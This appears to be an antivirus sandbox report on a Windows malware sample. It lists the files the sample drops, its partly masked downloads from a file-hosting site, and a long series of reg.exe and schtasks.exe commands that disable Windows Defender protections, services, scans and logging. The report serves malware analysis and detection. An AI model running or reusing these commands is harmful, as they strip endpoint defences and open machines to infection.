Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\cmd.exe
Modifies file system
Creates the following files
- %LOCALAPPDATA%\tempruntimebroker.exe
- %TEMP%\e59d.tmp\e5ae.tmp\e5af.bat
Deletes the following files
- %TEMP%\e59d.tmp\e5ae.tmp\e5af.bat
Network activity
TCP
HTTP GET requests
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
- http://www.me###fire.com/download_repair.php?fl##################################################################
- http://www.me###fire.com/file/b53jes2v2in7h1d/csrss.exe
- http://www.me###fire.com/error.php?er################################################
UDP
- DNS ASK cd#.##scordapp.com
- DNS ASK microsoft.com
- DNS ASK do######1585.mediafire.com
- DNS ASK me###fire.com
Miscellaneous
Creates and executes the following
- '%LOCALAPPDATA%\tempruntimebroker.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\E59D.tmp\E5AE.tmp\E5AF.bat %LOCALAPPDATA%\TempRuntimeBroker.exe"
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\reg.exe' delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\reg.exe' delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
